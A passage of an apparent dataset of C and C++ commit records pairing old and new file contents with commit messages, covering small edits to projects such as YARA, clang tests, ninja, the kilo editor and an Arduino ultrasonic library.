K2INFO_TYPE_ESTATUS   3\t\t\/* k2 extended status packet (old) *\/\n#define K2INFO_TYPE_E2STATUS  4\t\t\/* k2 extended status packet v2 *\/\n#define K2INFO_TYPE_COMM      5\t\t\/* k2ew packet processing stats *\/\n\n#define MAX_K2INFOBUF_SIZ 4096\n\ntypedef union {\n    qint8    msg[MAX_K2INFOBUF_SIZ];\n\tK2INFO_HEADER k2info;\n} K2infoPacket;  \n\n","subject":"Make 64Bit Friendly, NonStatic for Ubuntu 14.04 delete unneeded files","message":"Make 64Bit Friendly, NonStatic for Ubuntu 14.04 delete unneeded files\n","lang":"C","license":"lgpl-2.1","repos":"Fran89\/K2Status,Fran89\/K2Status"}
{"commit":"7ff47de1c579051233f28dd03e19755de3549246","old_file":"libyara\/include\/yara\/sizedstr.h","new_file":"libyara\/include\/yara\/sizedstr.h","old_contents":"\/*\nCopyright (c) 2007-2014. The YARA Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#ifndef _SIZEDSTR_H\n#define _SIZEDSTR_H\n\n#include <stddef.h>\n#include <inttypes.h>\n\n\/\/\n\/\/ This struct is used to support strings containing null chars. The length of\n\/\/ the string is stored along the string data. However the string data is also\n\/\/ terminated with a null char.\n\/\/\n\n#define SIZED_STRING_FLAGS_NO_CASE  1\n#define SIZED_STRING_FLAGS_DOT_ALL  2\n\n#pragma pack(push)\n#pragma pack(8)\n\n\ntypedef struct _SIZED_STRING\n{\n  uint64_t length;\n  uint32_t flags;\n  char c_string[1];\n\n} SIZED_STRING;\n\n#pragma pack(pop)\n\n\nint sized_string_cmp(\n  SIZED_STRING* s1,\n  SIZED_STRING* s2);\n\n#endif\n","new_contents":"\/*\nCopyright (c) 2007-2014. The YARA Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#ifndef _SIZEDSTR_H\n#define _SIZEDSTR_H\n\n#include <stddef.h>\n#include <inttypes.h>\n\n\/\/\n\/\/ This struct is used to support strings containing null chars. The length of\n\/\/ the string is stored along the string data. However the string data is also\n\/\/ terminated with a null char.\n\/\/\n\n#define SIZED_STRING_FLAGS_NO_CASE  1\n#define SIZED_STRING_FLAGS_DOT_ALL  2\n\n#pragma pack(push)\n#pragma pack(8)\n\n\ntypedef struct _SIZED_STRING\n{\n  uint32_t length;\n  uint32_t flags;\n  \n  char c_string[1];\n\n} SIZED_STRING;\n\n#pragma pack(pop)\n\n\nint sized_string_cmp(\n  SIZED_STRING* s1,\n  SIZED_STRING* s2);\n\n#endif\n","subject":"Change type of SIZED_STRING's length to uint32_t","message":"Change type of SIZED_STRING's length to uint32_t\n","lang":"C","license":"bsd-3-clause","repos":"jpypi\/yara,VirusTotal\/yara,MeteorAdminz\/yara,wxsBSD\/yara,pombredanne\/yara,plusvic\/yara,hillu\/yara,bmagistro\/yara,bmagistro\/yara,kallanreed\/yara,wxsBSD\/yara,plusvic\/yara,cblichmann\/yara,plusvic\/yara,cblichmann\/yara,rednaga\/yara,hillu\/yara,MeteorAdminz\/yara,kallanreed\/yara,VirusTotal\/yara,hillu\/yara,jpypi\/yara,VirusTotal\/yara,VirusTotal\/yara,cblichmann\/yara,msuvajac\/yara,wxsBSD\/yara,cblichmann\/yara,pombredanne\/yara,plusvic\/yara,plusvic\/yara,kallanreed\/yara,wxsBSD\/yara,pombredanne\/yara,pombredanne\/yara,hillu\/yara,tanium\/yara,tanium\/yara,msuvajac\/yara,MeteorAdminz\/yara,tanium\/yara,bmagistro\/yara,cblichmann\/yara,jpypi\/yara,VirusTotal\/yara,rednaga\/yara,msuvajac\/yara,rednaga\/yara,hillu\/yara,wxsBSD\/yara,pombredanne\/yara"}
{"commit":"55d1b6a7f7b1bece532c57cc05eb8b44812ce842","old_file":"test\/Sema\/nonnull-check.c","new_file":"test\/Sema\/nonnull-check.c","old_contents":"\/\/ RUN: clang-cc -Wnonnull -fsyntax-only -verify %s\n\nextern void func1 (void (^block1)(), void (^block2)(), int) __attribute__((nonnull));\n\nextern void func3 (void (^block1)(), int, void (^block2)(), int)\n  __attribute__((nonnull(1,3)));\n\nextern void func4 (void (^block1)(), void (^block2)()) __attribute__((nonnull(1)))\n  __attribute__((nonnull(2)));\n\nvoid\nfoo (int i1, int i2, int i3, void (^cp1)(), void (^cp2)(), void (^cp3)())\n{\n  func1(cp1, cp2, i1);\n\n  func1(0, cp2, i1);  \/\/ expected-warning {{argument is null where non-null is required}}\n  func1(cp1, 0, i1);  \/\/ expected-warning {{argument is null where non-null is required}}\n  func1(cp1, cp2, 0);\n\n\n  func3(0, i2, cp3, i3); \/\/ expected-warning {{argument is null where non-null is required}}\n  func3(cp3, i2, 0, i3);  \/\/ expected-warning {{argument is null where non-null is required}}\n\n  func4(0, cp1); \/\/ expected-warning {{argument is null where non-null is required}}\n  func4(cp1, 0); \/\/ expected-warning {{argument is null where non-null is required}}\n}\n","new_contents":"\/\/ RUN: clang-cc -fblocks -Wnonnull -fsyntax-only -verify %s\n\nextern void func1 (void (^block1)(), void (^block2)(), int) __attribute__((nonnull));\n\nextern void func3 (void (^block1)(), int, void (^block2)(), int)\n  __attribute__((nonnull(1,3)));\n\nextern void func4 (void (^block1)(), void (^block2)()) __attribute__((nonnull(1)))\n  __attribute__((nonnull(2)));\n\nvoid\nfoo (int i1, int i2, int i3, void (^cp1)(), void (^cp2)(), void (^cp3)())\n{\n  func1(cp1, cp2, i1);\n\n  func1(0, cp2, i1);  \/\/ expected-warning {{argument is null where non-null is required}}\n  func1(cp1, 0, i1);  \/\/ expected-warning {{argument is null where non-null is required}}\n  func1(cp1, cp2, 0);\n\n\n  func3(0, i2, cp3, i3); \/\/ expected-warning {{argument is null where non-null is required}}\n  func3(cp3, i2, 0, i3);  \/\/ expected-warning {{argument is null where non-null is required}}\n\n  func4(0, cp1); \/\/ expected-warning {{argument is null where non-null is required}}\n  func4(cp1, 0); \/\/ expected-warning {{argument is null where non-null is required}}\n}\n","subject":"Add -fblocks for the test.","message":"Add -fblocks for the test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@72280 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"f2f1a9893f57bf9a8aa207e2d3365df4010d28c6","old_file":"TDTChocolate\/FoundationAdditions\/NSFileManager+TDTAdditions.h","new_file":"TDTChocolate\/FoundationAdditions\/NSFileManager+TDTAdditions.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@interface NSFileManager (TDTAdditions)\n\n\/**\n @return URL to the any directory which matches the given search path in\n         the User's domain.\n *\/\n- (NSURL *)userURLForDirectory:(NSSearchPathDirectory)directory;\n\n\/**\n Creates a temporary file in a suitable temporary directory.\n \n The generated file has a name of the form \"prefix-random.suffix\",\n where \"random\" denotes a string of random integers to gurantee uniqueness.\n \n @return URL to the temporary file\n *\/\n- (NSURL *)fileURLToTemporaryFileWithNamePrefix:(NSString *)prefix\n                                         suffix:(NSString *)suffix;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@interface NSFileManager (TDTAdditions)\n\n\/**\n @return URL to the any directory which matches the given search path in\n         the User's domain.\n *\/\n- (NSURL *)userURLForDirectory:(NSSearchPathDirectory)directory;\n\n\/**\n Creates a temporary file in a suitable temporary directory.\n\n The generated file has a name of the form \"prefix-random.suffix\",\n where \"random\" denotes a string of random integers to gurantee uniqueness.\n\n @return URL to the temporary file.\n *\/\n- (NSURL *)fileURLToTemporaryFileWithNamePrefix:(NSString *)prefix\n                                         suffix:(NSString *)suffix;\n\n@end\n","subject":"Remove trailing spaces from documentation comments","message":"Remove trailing spaces from documentation comments\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"b48f26eac7e5f2369cce423668d1554b3a682969","old_file":"kilo.c","new_file":"kilo.c","old_contents":"int main() {\n\treturn 0;\n}\n","new_contents":"#include <unistd.h>\n\nint main() {\n\tchar c;\n\twhile (read(STDIN_FILENO, &c, 1) == 1);\n\treturn 0;\n}\n","subject":"Read keypresses from the user","message":"Read keypresses from the user\n","lang":"C","license":"bsd-2-clause","repos":"oldsharp\/kilo,oldsharp\/kilo"}
{"commit":"4b7b88b94b98233ae714d8466ee86876fe9f3e42","old_file":"elsa\/xml_lexer.h","new_file":"elsa\/xml_lexer.h","old_contents":"\/\/ xml_lexer.h           see license.txt for copyright and terms of use\n\n#ifndef XML_LEXER_H\n#define XML_LEXER_H\n\n#include <stdio.h>\n#include \"fstream.h\"            \/\/ ifstream\n\n#include \"str.h\"                \/\/ string\n#include \"sm_flexlexer.h\"       \/\/ yyFlexLexer\n#include \"baselexer.h\"          \/\/ FLEX_OUTPUT_METHOD_DECLS\n#include \"xml_enum.h\"           \/\/ XTOK_*\n\nclass XmlLexer : private yyFlexLexer {\n  public:\n  char const *inputFname;       \/\/ just for error messages\n  int linenumber;\n  bool sawEof;\n\n  XmlLexer()\n    : inputFname(NULL)\n    , linenumber(1)             \/\/ file line counting traditionally starts at 1\n    , sawEof(false)\n  {}\n\n  \/\/ this is yylex() but does what I want it to with EOF\n  int getToken();\n  \/\/ have we seen the EOF?\n  bool haveSeenEof() { return sawEof; }\n  \/\/ this is yytext\n  char const *currentText() { return this->YYText(); }\n  \/\/ this is yyrestart\n  void restart(istream *in) { this->yyrestart(in); }\n\n  int tok(XmlToken kind);\n  int svalTok(XmlToken t);\n  void err(char const *msg);\n  \n  string tokenKindDesc(int kind) const;\n\n  FLEX_OUTPUT_METHOD_DECLS\n};\n\n#endif \/\/ XML_LEXER_H\n","new_contents":"\/\/ xml_lexer.h           see license.txt for copyright and terms of use\n\n#ifndef XML_LEXER_H\n#define XML_LEXER_H\n\n#include <stdio.h>\n#include \"fstream.h\"            \/\/ ifstream\n\n#include \"str.h\"                \/\/ string\n#include \"sm_flexlexer.h\"       \/\/ yyFlexLexer\n#include \"baselexer.h\"          \/\/ FLEX_OUTPUT_METHOD_DECLS\n#include \"xml_enum.h\"           \/\/ XTOK_*\n\nclass XmlLexer : private yyFlexLexer {\n  public:\n  char const *inputFname;       \/\/ just for error messages\n  int linenumber;\n  bool sawEof;\n\n  XmlLexer()\n    : inputFname(NULL)\n    , linenumber(1)             \/\/ file line counting traditionally starts at 1\n    , sawEof(false)\n  {}\n\n  \/\/ this is yylex() but does what I want it to with EOF\n  int getToken();\n  \/\/ have we seen the EOF?\n  bool haveSeenEof() { return sawEof; }\n  \/\/ this is yytext\n  char const *currentText() { return this->YYText(); }\n  \/\/ this is yyrestart\n  void restart(istream *in) { this->yyrestart(in); sawEof = false; }\n\n  int tok(XmlToken kind);\n  int svalTok(XmlToken t);\n  void err(char const *msg);\n\n  string tokenKindDesc(int kind) const;\n\n  FLEX_OUTPUT_METHOD_DECLS\n};\n\n#endif \/\/ XML_LEXER_H\n","subject":"Fix bug where XmlLexer::restart() doesn't reset sawEof","message":"Fix bug where XmlLexer::restart() doesn't reset sawEof\n\n","lang":"C","license":"bsd-3-clause","repos":"angavrilov\/olmar,angavrilov\/olmar,angavrilov\/olmar,angavrilov\/olmar"}
{"commit":"702252414662d8e63f33715261399c8cc8a4767a","old_file":"src\/GameAsset.h","new_file":"src\/GameAsset.h","old_contents":"#ifndef GAMEASSET_H\n#define GAMEASSET_H\n\n#include <GL\/gl.h>\n\nclass GameAsset {\n public:\n  virtual void Draw(GLuint) = 0;\n\n};\n\n#endif\n","new_contents":"#ifndef GAMEASSET_H\n#define GAMEASSET_H\n\n#include <iostream>\n\n#include <GL\/gl.h>\n\nclass GameAsset {\n public:\n  virtual void Draw(GLuint) = 0;\n\n};\n\n#endif\n","subject":"Include cerr and endl in CubeAsset","message":"Include cerr and endl in CubeAsset\n","lang":"C","license":"mit","repos":"XenoWarrior\/CI224-GamesDevelopment,XenoWarrior\/CI224-GamesDevelopment,XenoWarrior\/CI224-GamesDevelopment,XenoWarrior\/CI224-GamesDevelopment,XenoWarrior\/CI224-GamesDevelopment"}
{"commit":"6506bf4e205944a671ddcc148a88273ddce92409","old_file":"Problem_9\/Problem_9.c","new_file":"Problem_9\/Problem_9.c","old_contents":"#include \"stdio.h\"\n#include \"stdbool.h\"\n\nbool checkPythagoreanTriplet (int a, int b, int c);\n\nbool checkPythagoreanTriplet (int a, int b, int c) {\n    if((a*a) + (b*b) == (c*c)) {\n        return true;\n    } else {\n        return false;\n    }\n}\n\nint main(int argc, char const *argv[]) {\n    int i;\n    int j;\n    int k;\n    \n    for(i=1; i < 1000; i++) {\n        for(j=i; j < (1000 - i); j++) {\n            for(k=j; k < (1000 - j); k++){\n                if(checkPythagoreanTriplet(i,j,k) && (i + j + k) == 1000) {\n                    printf(\"%d %d %d\\n\", i, j, k);\n                    printf(\"%d\\n\", (i*j*k));\n                    break;\n                }\n            }\n        }\n    }\n    return 0;\n}\n","new_contents":"#include \"stdio.h\"\n#include \"stdbool.h\"\n\nbool checkPythagoreanTriplet(int a, int b, int c);\n\nbool checkPythagoreanTriplet(int a, int b, int c)\n{\n  if ((a * a) + (b * b) == (c * c))\n    {\n      return true;\n    }\n  else\n    {\n      return false;\n    }\n}\n\nint main(int argc, char const *argv[])\n{\n  int i;\n  int j;\n  int k;\n\n  for (i = 1; i < 1000; i++)\n    {\n      for (j = i; j < (1000 - i); j++)\n        {\n          for (k = j; k < (1000 - j); k++)\n            {\n              if (checkPythagoreanTriplet(i, j, k) && (i + j + k) == 1000)\n                {\n                  printf(\"%d %d %d\\n\", i, j, k);\n                  printf(\"%d\\n\", (i * j * k));\n                  break;\n                }\n            }\n        }\n    }\n  return 0;\n}\n","subject":"Update format for Problem 9","message":"Update format for Problem 9\n","lang":"C","license":"mit","repos":"goparakeets21\/Project_Euler"}
{"commit":"7c634a04a23171cc2356e3129fb16b8e9da3bf00","old_file":"test\/Sema\/crash-invalid-array.c","new_file":"test\/Sema\/crash-invalid-array.c","old_contents":"","new_contents":"\/\/ RUN: not %clang_cc1 -O1 %s -emit-llvm\n\/\/ PR6913\n\n#include <stdio.h>\n\nint main()\n{\n   int x[10][10];\n   int (*p)[] = x; \/\/ expected-error {{invalid use of array with unspecified bounds}\n\n   int i;\n\n   for(i = 0; i < 10; ++i)\n   {\n       p[i][i] = i;\n   }\n}\n","subject":"Bring over a test from llvm\/test\/FrontendC that is for Sema and not CodeGen.","message":"Bring over a test from llvm\/test\/FrontendC that is for Sema and not CodeGen.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@135753 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"69051267d34c7d9ecfd9a947d762fc88d69f8822","old_file":"src\/Ultrasonick.h","new_file":"src\/Ultrasonick.h","old_contents":"\/*\n  Ultrasonick.h - Library for HC-SR04 Ultrasonic Ranging Module in a minimalist way.\n  Created by EricK Simoes (@AloErickSimoes), April 3, 2014.\n  Released into the Creative Commons Attribution-ShareAlike 4.0 International.\n*\/\n\n#ifndef Ultrasonick_h\n#define Ultrasonick_h\n\n#if (ARDUINO >= 100)\n  #include \"Arduino.h\"\n#else\n  #include \"WProgram.h\"\n#endif\n\n#define CM 1\n#define INC 0\n\n\/**\n* TODO: Remove the underscore of the private variables name\n* and use static keyword\n*\/\nclass Ultrasonick {\n  public:\n    Ultrasonick(uint8_t trigPin, uint8_t echoPin);\n    int distanceRead(uint8_t und);\n    int distanceRead();\n\n  private:\n    uint8_t _trigPin;\n    uint8_t _echoPin;\n    int timing();\n};\n\n#endif \/\/ Ultrasonic_h\n","new_contents":"\/*\n  Ultrasonick.h - Library for HC-SR04 Ultrasonic Ranging Module in a minimalist way.\n  Created by EricK Simoes (@AloErickSimoes), April 3, 2014.\n  Released into the Creative Commons Attribution-ShareAlike 4.0 International.\n*\/\n\n#ifndef Ultrasonick_h\n#define Ultrasonick_h\n\n#define CM 1\n#define INC 0\n\n\/**\n* TODO: Remove the underscore of the private variables name\n* and use static keyword\n*\/\nclass Ultrasonick {\n  public:\n    Ultrasonick(uint8_t trigPin, uint8_t echoPin);\n    int distanceRead(uint8_t und);\n    int distanceRead();\n\n  private:\n    uint8_t _trigPin;\n    uint8_t _echoPin;\n    int timing();\n};\n\n#endif \/\/ Ultrasonic_h\n","subject":"Remove duplicate include from Arduino.h","message":"Fix: Remove duplicate include from Arduino.h\n\nThe include is only required in the .cpp file.\n\nResolves: #18\n","lang":"C","license":"mit","repos":"ErickSimoes\/Ultrasonic"}
{"commit":"7e3f93541e937d886652a8c16873efd93d98230b","old_file":"src\/win32port.h","new_file":"src\/win32port.h","old_contents":"#ifndef NINJA_WIN32PORT_H_\n#define NINJA_WIN32PORT_H_\n#pragma once\n\n\/\/\/ A 64-bit integer type\ntypedef unsigned long long int64_t;\ntypedef unsigned long long uint64_t;\n\n#endif \/\/ NINJA_WIN32PORT_H_","new_contents":"#ifndef NINJA_WIN32PORT_H_\n#define NINJA_WIN32PORT_H_\n#pragma once\n\n\/\/\/ A 64-bit integer type\ntypedef signed long long int64_t;\ntypedef unsigned long long uint64_t;\n\n#endif \/\/ NINJA_WIN32PORT_H_\n\n","subject":"Add new line to new file","message":"Add new line to new file\n","lang":"C","license":"apache-2.0","repos":"nico\/ninja,colincross\/ninja,chenyukang\/ninja,kissthink\/ninja,mydongistiny\/ninja,maruel\/ninja,mohamed\/ninja,ukai\/ninja,PetrWolf\/ninja-main,mutac\/ninja,nornagon\/ninja,mathstuf\/ninja,mgaunard\/ninja,pathscale\/ninja,ctiller\/ninja,ctiller\/ninja,lizh06\/ninja,mdempsky\/ninja,hnney\/ninja,barak\/ninja,syntheticpp\/ninja,tychoish\/ninja,metti\/ninja,PetrWolf\/ninja,SByer\/ninja,AoD314\/ninja,kimgr\/ninja,nico\/ninja,TheOneRing\/ninja,guiquanz\/ninja,mdempsky\/ninja,dpwright\/ninja,glensc\/ninja,jhanssen\/ninja,curinir\/ninja,mgaunard\/ninja,hnney\/ninja,PetrWolf\/ninja,sxlin\/dist_ninja,nafest\/ninja,Ju2ender\/ninja,vvvrrooomm\/ninja,atetubou\/ninja,ilor\/ninja,hnney\/ninja,synaptek\/ninja,LuaDist\/ninja,Maratyszcza\/ninja-pypi,sgraham\/ninja,Qix-\/ninja,okuoku\/ninja,PetrWolf\/ninja,dorgonman\/ninja,vvvrrooomm\/ninja,mohamed\/ninja,metti\/ninja,moroten\/ninja,automeka\/ninja,martine\/ninja,liukd\/ninja,kimgr\/ninja,juntalis\/ninja,Ju2ender\/ninja,glensc\/ninja,AoD314\/ninja,barak\/ninja,jsternberg\/ninja,maximuska\/ninja,purcell\/ninja,nornagon\/ninja,pck\/ninja,nornagon\/ninja,syntheticpp\/ninja,chenyukang\/ninja,tychoish\/ninja,Qix-\/ninja,LuaDist\/ninja,jimon\/ninja,jsternberg\/ninja,ndsol\/subninja,bradking\/ninja,ignatenkobrain\/ninja,maximuska\/ninja,automeka\/ninja,drbo\/ninja,ignatenkobrain\/ninja,nickhutchinson\/ninja,sgraham\/ninja,nickhutchinson\/ninja,sxlin\/dist_ninja,nicolasdespres\/ninja,tychoish\/ninja,jsternberg\/ninja,automeka\/ninja,LuaDist\/ninja,autopulated\/ninja,dendy\/ninja,curinir\/ninja,PetrWolf\/ninja-main,PetrWolf\/ninja-main,bradking\/ninja,bmeurer\/ninja,syntheticpp\/ninja,dendy\/ninja,automeka\/ninja,nico\/ninja,guiquanz\/ninja,iwadon\/ninja,sxlin\/dist_ninja,sgraham\/ninja,juntalis\/ninja,mgaunard\/ninja,juntalis\/ninja,ThiagoGarciaAlves\/ninja,TheOneRing\/ninja,jhanssen\/ninja,ThiagoGarciaAlves\/ninja,juntalis\/ninja,moroten\/ninja,sxlin\/dist_ninja,bradking\/ninja,Maratyszcza\/ninja-pypi,ninja-build\/ninja,tfarina\/ninja,vvvrrooomm\/ninja,fuchsia-mirror\/third_party-ninja,ehird\/ninja,nickhutchinson\/ninja,ninja-build\/ninja,pathscale\/ninja,Ju2ender\/ninja,colincross\/ninja,ikarienator\/ninja,ehird\/ninja,ukai\/ninja,jsternberg\/ninja,mydongistiny\/ninja,ThiagoGarciaAlves\/ninja,maruel\/ninja,dorgonman\/ninja,kissthink\/ninja,kimgr\/ninja,bmeurer\/ninja,bmeurer\/ninja,martine\/ninja,atetubou\/ninja,ukai\/ninja,ninja-build\/ninja,ikarienator\/ninja,jendrikillner\/ninja,pck\/ninja,fuchsia-mirror\/third_party-ninja,synaptek\/ninja,kissthink\/ninja,synaptek\/ninja,syntheticpp\/ninja,iwadon\/ninja,jendrikillner\/ninja,ehird\/ninja,bmeurer\/ninja,mgaunard\/ninja,sxlin\/dist_ninja,mutac\/ninja,LuaDist\/ninja,purcell\/ninja,pck\/ninja,nico\/ninja,mathstuf\/ninja,TheOneRing\/ninja,dpwright\/ninja,fifoforlifo\/ninja,nicolasdespres\/ninja,fifoforlifo\/ninja,tfarina\/ninja,glensc\/ninja,PetrWolf\/ninja-main,hnney\/ninja,nocnokneo\/ninja,moroten\/ninja,maruel\/ninja,mydongistiny\/ninja,lizh06\/ninja,rnk\/ninja,sorbits\/ninja,okuoku\/ninja,kimgr\/ninja,moroten\/ninja,fuchsia-mirror\/third_party-ninja,jendrikillner\/ninja,dabrahams\/ninja,fifoforlifo\/ninja,ikarienator\/ninja,rjogrady\/ninja,dabrahams\/ninja,nafest\/ninja,ctiller\/ninja,iwadon\/ninja,nafest\/ninja,mathstuf\/ninja,mdempsky\/ninja,ndsol\/subninja,purcell\/ninja,mydongistiny\/ninja,rnk\/ninja,liukd\/ninja,SByer\/ninja,purcell\/ninja,tfarina\/ninja,nafest\/ninja,ilor\/ninja,mohamed\/ninja,maruel\/ninja,jimon\/ninja,ignatenkobrain\/ninja,drbo\/ninja,fuchsia-mirror\/third_party-ninja,ThiagoGarciaAlves\/ninja,glensc\/ninja,liukd\/ninja,SByer\/ninja,vvvrrooomm\/ninja,okuoku\/ninja,dpwright\/ninja,sxlin\/dist_ninja,lizh06\/ninja,chenyukang\/ninja,SByer\/ninja,autopulated\/ninja,kissthink\/ninja,jhanssen\/ninja,dorgonman\/ninja,dorgonman\/ninja,rjogrady\/ninja,dabrahams\/ninja,chenyukang\/ninja,ignatenkobrain\/ninja,AoD314\/ninja,sorbits\/ninja,dendy\/ninja,martine\/ninja,curinir\/ninja,ilor\/ninja,nocnokneo\/ninja,metti\/ninja,jimon\/ninja,bradking\/ninja,iwadon\/ninja,ukai\/ninja,ndsol\/subninja,rnk\/ninja,PetrWolf\/ninja,yannicklm\/ninja,Qix-\/ninja,fifoforlifo\/ninja,pck\/ninja,sgraham\/ninja,Ju2ender\/ninja,nocnokneo\/ninja,nickhutchinson\/ninja,tychoish\/ninja,autopulated\/ninja,AoD314\/ninja,atetubou\/ninja,dpwright\/ninja,maximuska\/ninja,sorbits\/ninja,jimon\/ninja,synaptek\/ninja,tfarina\/ninja,barak\/ninja,ehird\/ninja,yannicklm\/ninja,colincross\/ninja,ndsol\/subninja,ctiller\/ninja,martine\/ninja,rjogrady\/ninja,Maratyszcza\/ninja-pypi,barak\/ninja,ilor\/ninja,Maratyszcza\/ninja-pypi,curinir\/ninja,maximuska\/ninja,Qix-\/ninja,okuoku\/ninja,ikarienator\/ninja,rnk\/ninja,autopulated\/ninja,mutac\/ninja,mathstuf\/ninja,jhanssen\/ninja,nocnokneo\/ninja,sxlin\/dist_ninja,TheOneRing\/ninja,yannicklm\/ninja,liukd\/ninja,colincross\/ninja,mdempsky\/ninja,sorbits\/ninja,nornagon\/ninja,pathscale\/ninja,guiquanz\/ninja,guiquanz\/ninja,dendy\/ninja,jendrikillner\/ninja,dabrahams\/ninja,nicolasdespres\/ninja,nicolasdespres\/ninja,rjogrady\/ninja,metti\/ninja,yannicklm\/ninja,mutac\/ninja,mohamed\/ninja,pathscale\/ninja,lizh06\/ninja,drbo\/ninja,ninja-build\/ninja,drbo\/ninja,atetubou\/ninja"}
{"commit":"6e9096519e0ac3db0e92bafb43ad81c8040dc64c","old_file":"src\/CopyDevice.h","new_file":"src\/CopyDevice.h","old_contents":"#pragma once\n#ifndef COPYFS_LIB_COPYDEVICE_H_\n#define COPYFS_LIB_COPYDEVICE_H_\n\n#include <boost\/filesystem.hpp>\n#include <messmer\/fspp\/fs_interface\/Device.h>\n\n#include \"messmer\/cpp-utils\/macros.h\"\n\nnamespace copyfs {\n\nnamespace bf = boost::filesystem;\n\nclass CopyDevice: public fspp::Device {\npublic:\n  CopyDevice(const bf::path &rootdir);\n  virtual ~CopyDevice();\n\n  void statfs(const boost::filesystem::path &path, struct ::statvfs *fsstat) override;\n\n  const bf::path &RootDir() const;\nprivate:\n  std::unique_ptr<fspp::Node> Load(const bf::path &path) override;\n\n  const bf::path _root_path;\n\n  DISALLOW_COPY_AND_ASSIGN(CopyDevice);\n};\n\ninline const bf::path &CopyDevice::RootDir() const {\n  return _root_path;\n}\n\n}\n\n#endif\n","new_contents":"#pragma once\n#ifndef COPYFS_LIB_COPYDEVICE_H_\n#define COPYFS_LIB_COPYDEVICE_H_\n\n#include <boost\/filesystem.hpp>\n#include <messmer\/fspp\/fs_interface\/Device.h>\n\n#include \"messmer\/cpp-utils\/macros.h\"\n\nnamespace copyfs {\n\nnamespace bf = boost::filesystem;\n\nclass CopyDevice: public fspp::Device {\npublic:\n  explicit CopyDevice(const bf::path &rootdir);\n  virtual ~CopyDevice();\n\n  void statfs(const boost::filesystem::path &path, struct ::statvfs *fsstat) override;\n\n  const bf::path &RootDir() const;\nprivate:\n  std::unique_ptr<fspp::Node> Load(const bf::path &path) override;\n\n  const bf::path _root_path;\n\n  DISALLOW_COPY_AND_ASSIGN(CopyDevice);\n};\n\ninline const bf::path &CopyDevice::RootDir() const {\n  return _root_path;\n}\n\n}\n\n#endif\n","subject":"Make constructors explicit where adequate","message":"Make constructors explicit where adequate\n","lang":"C","license":"apache-2.0","repos":"cryfs\/copyfs"}
{"commit":"c521df5dcf7410898cabdcb556f919535cf16d19","old_file":"include\/msvc_compat\/C99\/stdbool.h","new_file":"include\/msvc_compat\/C99\/stdbool.h","old_contents":"#ifndef stdbool_h\n#define stdbool_h\n\n#include <wtypes.h>\n\n\/* MSVC doesn't define _Bool or bool in C, but does have BOOL *\/\n\/* Note this doesn't pass autoconf's test because (bool) 0.5 != true *\/\ntypedef BOOL _Bool;\n\n#define bool _Bool\n#define true 1\n#define false 0\n\n#define __bool_true_false_are_defined 1\n\n#endif \/* stdbool_h *\/\n","new_contents":"#ifndef stdbool_h\n#define stdbool_h\n\n#include <wtypes.h>\n\n\/* MSVC doesn't define _Bool or bool in C, but does have BOOL *\/\n\/* Note this doesn't pass autoconf's test because (bool) 0.5 != true *\/\n\/* Clang-cl uses MSVC headers, so needs msvc_compat, but has _Bool as\n * a built-in type. *\/\n#ifndef __clang__\ntypedef BOOL _Bool;\n#endif\n\n#define bool _Bool\n#define true 1\n#define false 0\n\n#define __bool_true_false_are_defined 1\n\n#endif \/* stdbool_h *\/\n","subject":"Allow to build with clang-cl","message":"Allow to build with 